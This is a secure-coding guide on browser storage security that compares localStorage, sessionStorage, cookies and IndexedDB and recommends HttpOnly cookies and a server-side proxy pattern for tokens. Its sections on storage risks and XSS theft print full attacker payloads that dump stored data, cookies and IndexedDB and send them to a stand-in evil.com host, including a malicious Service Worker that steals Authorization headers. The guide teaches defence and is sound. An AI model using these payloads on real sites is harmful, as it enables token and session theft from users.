Browser Storage Security: Code Review Guide
Table of Contents
1. Introduction to Browser Storage Security
Modern web applications store data on the client side for performance, offline functionality, and user experience. localStorage, sessionStorage, IndexedDB, and cookies each serve different purposes — but they all share a common risk: any data accessible to JavaScript is accessible to an XSS attacker.
Why This Matters
The most common security mistake in frontend development is storing sensitive data (auth tokens, JWTs, API keys, PII) in localStorage or sessionStorage. These storage mechanisms have zero protection against XSS — a single script injection gives the attacker full read/write access to everything stored. Unlike HttpOnly cookies, there is no browser mechanism to hide Web Storage from JavaScript.
In this guide, you'll learn how each browser storage mechanism works and its security properties, why localStorage is dangerous for sensitive data, how cookie security attributes (HttpOnly, Secure, SameSite) provide layered defense, where to safely store authentication tokens, how XSS attacks exploit client-side storage, and how to detect storage security issues during code review.
Browser Storage Mechanisms & Their Attack Surface
What is the fundamental security limitation shared by localStorage, sessionStorage, and IndexedDB?
2. Storage Mechanisms Overview
Understanding the technical differences between storage mechanisms is essential for making correct security decisions. Each has unique persistence, scope, and access control properties.
Browser Storage Comparison
| Feature | localStorage | sessionStorage | Cookies | IndexedDB |
|---|---|---|---|---|
| Persistence | Until explicitly deleted | Tab/window lifetime | Configurable (Expires/Max-Age) | Until explicitly deleted |
| Storage limit | ~5–10 MB per origin | ~5–10 MB per origin | ~4 KB per cookie | Dynamic (GBs available) |
| Sent with HTTP requests | No | No | Yes (automatic) | No |
| Accessible from JavaScript | Yes — always | Yes — always | Yes (unless HttpOnly) | Yes — always |
| Scope | Same origin (protocol + host + port) | Same origin + same tab | Domain + path (configurable) | Same origin |
| Data format | Strings only | Strings only | Strings only | Structured (objects, blobs, files) |
| Accessible from Web Workers | No | No | No (use fetch with credentials) | Yes |
| Accessible from Service Workers | No | No | Via fetch API | Yes |
Basic usage of each mechanism
1// localStorage — persists forever
2localStorage.setItem('theme', 'dark');
3const theme = localStorage.getItem('theme'); // "dark"
4localStorage.removeItem('theme');
5
6// sessionStorage — cleared when tab closes
7sessionStorage.setItem('formDraft', JSON.stringify(formData));
8const draft = JSON.parse(sessionStorage.getItem('formDraft'));
9
10// Cookies — via document.cookie (unless HttpOnly)
11document.cookie = 'preference=compact; path=/; max-age=86400; Secure; SameSite=Strict';
12const cookies = document.cookie; // "preference=compact; other=value"
13
14// IndexedDB — structured storage
15const request = indexedDB.open('MyApp', 1);
16request.onupgradeneeded = (event) => {
17 const db = event.target.result;
18 db.createObjectStore('documents', { keyPath: 'id' });
19};Key Security Distinction
Cookies are the only browser storage mechanism with built-in server-side protection against XSS. The HttpOnly flag instructs the browser to block JavaScript access entirely — the cookie is still sent with HTTP requests but is invisible to document.cookie, fetch headers, and XSS payloads. No equivalent exists for localStorage, sessionStorage, or IndexedDB.
3. localStorage & sessionStorage Risks
Web Storage (localStorage and sessionStorage) is the most commonly misused storage mechanism. Developers store tokens, API keys, and personal data in it because the API is simple — without realizing the security implications.
Common dangerous patterns
1// ❌ DANGEROUS: Storing auth tokens in localStorage
2function handleLogin(response) {
3 localStorage.setItem('access_token', response.accessToken);
4 localStorage.setItem('refresh_token', response.refreshToken);
5 // XSS = instant account takeover
6}
7
8// ❌ DANGEROUS: Storing API keys
9localStorage.setItem('stripe_key', 'sk_live_...');
10localStorage.setItem('firebase_config', JSON.stringify(firebaseConfig));
11
12// ❌ DANGEROUS: Storing PII
13localStorage.setItem('user', JSON.stringify({
14 email: 'alice@example.com',
15 ssn: '123-45-6789',
16 creditCard: '4111111111111111'
17}));
18
19// ❌ DANGEROUS: Storing CSRF tokens
20sessionStorage.setItem('csrf_token', response.csrfToken);The problem: A single XSS vulnerability — even in a third-party script — gives the attacker complete access:
XSS attacker stealing all stored data
1// Attacker's XSS payload — steals EVERYTHING from storage
2(function() {
3 const stolen = {
4 localStorage: {},
5 sessionStorage: {},
6 };
7
8 // Dump all localStorage
9 for (let i = 0; i < localStorage.length; i++) {
10 const key = localStorage.key(i);
11 stolen.localStorage[key] = localStorage.getItem(key);
12 }
13
14 // Dump all sessionStorage
15 for (let i = 0; i < sessionStorage.length; i++) {
16 const key = sessionStorage.key(i);
17 stolen.sessionStorage[key] = sessionStorage.getItem(key);
18 }
19
20 // Exfiltrate to attacker's server
21 fetch('https://evil.com/collect', {
22 method: 'POST',
23 body: JSON.stringify(stolen),
24 mode: 'no-cors' // Bypass CORS — we don't need the response
25 });
26})();localStorage Persists After Logout
A common oversight: when users "log out," the application clears the session but forgets to clear localStorage. The tokens remain accessible indefinitely — on shared computers, public kiosks, or if the device is compromised later. Always clear all storage on logout: localStorage.clear(), sessionStorage.clear(), and expire cookies.
A developer argues: 'We encrypt the token before storing it in localStorage, so even if XSS reads it, the attacker can't use it.' Is this secure?
5. Where to Store Auth Tokens
The "where to store tokens" question is one of the most debated topics in frontend security. Here is a clear, evidence-based comparison of the options.
Token Storage Options Comparison
| Storage Method | XSS Protection | CSRF Protection | Verdict |
|---|---|---|---|
| localStorage | ❌ None — XSS reads token directly | ✅ Not sent automatically | ❌ Avoid for auth tokens |
| sessionStorage | ❌ None — XSS reads token directly | ✅ Not sent automatically | ❌ Avoid for auth tokens |
| HttpOnly Cookie | ✅ JavaScript cannot access cookie | ❌ Sent automatically — needs CSRF defense | ✅ Best for auth tokens (with SameSite) |
| HttpOnly + SameSite=Strict Cookie | ✅ JavaScript cannot access cookie | ✅ Not sent cross-site | ✅✅ Strongest option |
| In-memory variable | ⚠️ XSS can hook into app code | ✅ Not sent automatically | ⚠️ Lost on refresh — impractical alone |
| BFF pattern (server proxy) | ✅ Token never reaches browser | ✅ Session cookie with CSRF protection | ✅✅ Strongest for SPAs |
Recommended: HttpOnly cookie via server endpoint
1// ✅ SECURE: Server sets HttpOnly cookie — token never in JS
2// Login API endpoint
3app.post('/api/auth/login', async (req, res) => {
4 const { email, password } = req.body;
5 const user = await authenticate(email, password);
6 const token = generateJWT(user);
7
8 // Set token as HttpOnly cookie — JavaScript NEVER sees it
9 res.cookie('auth_token', token, {
10 httpOnly: true,
11 secure: true,
12 sameSite: 'strict',
13 maxAge: 3600000,
14 path: '/',
15 });
16
17 // Return user data but NOT the token
18 res.json({ user: { id: user.id, name: user.name } });
19});
20
21// Frontend: Include cookies automatically in requests
22const response = await fetch('/api/protected-resource', {
23 credentials: 'same-origin', // ✅ Browser sends cookie automatically
24});
25
26// The token is NEVER accessible to JavaScript —
27// it flows from server → cookie → browser → server
28// without any JS involvement.The BFF (Backend For Frontend) Pattern
For SPAs using external OAuth providers (Auth0, Okta, etc.), the Backend For Frontend pattern is the most secure approach. The SPA communicates with its own backend server, which handles OAuth flows and stores tokens server-side. The SPA only receives an HttpOnly session cookie. The access token never reaches the browser. This completely eliminates token theft via XSS.
A SPA receives a JWT from an OAuth provider and stores it in localStorage to attach as an Authorization: Bearer header on API requests. What is the recommended alternative?
6. XSS-Based Storage Theft
When sensitive data is stored in JavaScript-accessible storage, XSS attacks can extract it all in milliseconds. Here are the specific attack patterns code reviewers should understand.
Attack 1: Full storage dump + exfiltration
1// Attacker's XSS payload: dump all storage and cookies
2const data = {
3 local: { ...localStorage },
4 session: { ...sessionStorage },
5 cookies: document.cookie,
6 url: window.location.href,
7 dom: document.querySelector('[name="csrf"]')?.value,
8};
9
10// Exfiltrate via image beacon (works even with restrictive CSP)
11new Image().src = 'https://evil.com/c?' + btoa(JSON.stringify(data));
12
13// Or via fetch with no-cors (doesn't need CORS headers)
14navigator.sendBeacon('https://evil.com/c', JSON.stringify(data));Attack 2: Persistent token theft via Service Worker
1// Advanced: Attacker registers a Service Worker via XSS
2// The SW persists even after the XSS is fixed!
3
4navigator.serviceWorker.register('/sw.js');
5// /sw.js is an attacker-controlled file uploaded to the same origin
6// (e.g., via a file upload vulnerability)
7
8// The malicious Service Worker intercepts ALL requests,
9// extracting cookies and tokens from Authorization headers:
10self.addEventListener('fetch', (event) => {
11 const authHeader = event.request.headers.get('Authorization');
12 if (authHeader) {
13 fetch('https://evil.com/steal', {
14 method: 'POST',
15 body: JSON.stringify({
16 url: event.request.url,
17 auth: authHeader
18 })
19 });
20 }
21});Attack 3: IndexedDB data extraction
1// XSS payload to dump all IndexedDB databases
2const dbs = await indexedDB.databases();
3for (const dbInfo of dbs) {
4 const db = await new Promise((resolve, reject) => {
5 const req = indexedDB.open(dbInfo.name);
6 req.onsuccess = () => resolve(req.result);
7 req.onerror = () => reject(req.error);
8 });
9
10 for (const storeName of db.objectStoreNames) {
11 const tx = db.transaction(storeName, 'readonly');
12 const store = tx.objectStore(storeName);
13 const allRecords = await new Promise((resolve) => {
14 const req = store.getAll();
15 req.onsuccess = () => resolve(req.result);
16 });
17
18 // Exfiltrate everything from this store
19 navigator.sendBeacon('https://evil.com/idb', JSON.stringify({
20 db: dbInfo.name, store: storeName, records: allRecords
21 }));
22 }
23}Token Theft vs Session Hijacking
There is a critical distinction: if an attacker steals a JWT from localStorage, they have a portable token that works from any device, anywhere, until it expires. If an attacker exploits XSS on a page with HttpOnly session cookies, they can perform actions while the user is on the page but cannot extract the cookie for offline use. HttpOnly doesn't prevent session riding, but it prevents session theft — a massive reduction in impact and persistence.
7. Detection During Code Review
Storage security issues follow predictable patterns. Search for these during every code review.
Code Review Detection Patterns
| Pattern | What to Look For | Risk |
|---|---|---|
| localStorage.setItem with sensitive data | Tokens, keys, PII, session IDs, CSRF tokens stored in localStorage | Critical |
| sessionStorage.setItem with sensitive data | Same as localStorage but scoped to tab — still vulnerable to XSS | Critical |
| Set-Cookie without HttpOnly | Auth cookies accessible to document.cookie | Critical |
| Set-Cookie without Secure | Cookies sent over HTTP in plaintext | High |
| Set-Cookie without SameSite | No CSRF protection from cookie attributes | High |
| document.cookie read | JavaScript reading cookies — check what it's reading and why | Medium–High |
| Authorization header from storage | fetch/XHR adding Bearer token read from localStorage | Critical |
| Missing storage cleanup on logout | Logout handler doesn't clear localStorage/sessionStorage | High |
| IndexedDB storing credentials | Tokens or keys stored in IndexedDB | Critical |
Quick grep patterns for storage issues
1# Find sensitive data in localStorage/sessionStorage
2grep -rn "localStorage\.setItem\|sessionStorage\.setItem" \
3 --include="*.js" --include="*.ts" --include="*.tsx"
4
5# Find token retrieval from storage
6grep -rn "localStorage\.getItem\|sessionStorage\.getItem" \
7 --include="*.js" --include="*.ts" --include="*.tsx"
8
9# Find cookies set without security flags
10grep -rn "Set-Cookie\|setCookie\|cookie.*=.*{" \
11 --include="*.js" --include="*.ts" --include="*.conf"
12
13# Find cookies being read in JavaScript
14grep -rn "document\.cookie" \
15 --include="*.js" --include="*.ts" --include="*.tsx"
16
17# Find Authorization headers built from storage
18grep -rn "Authorization.*Bearer\|getItem.*token" \
19 --include="*.js" --include="*.ts" --include="*.tsx"You find this code during review: const token = localStorage.getItem('jwt'); fetch('/api/data', { headers: { Authorization: 'Bearer ' + token } }). What should you recommend?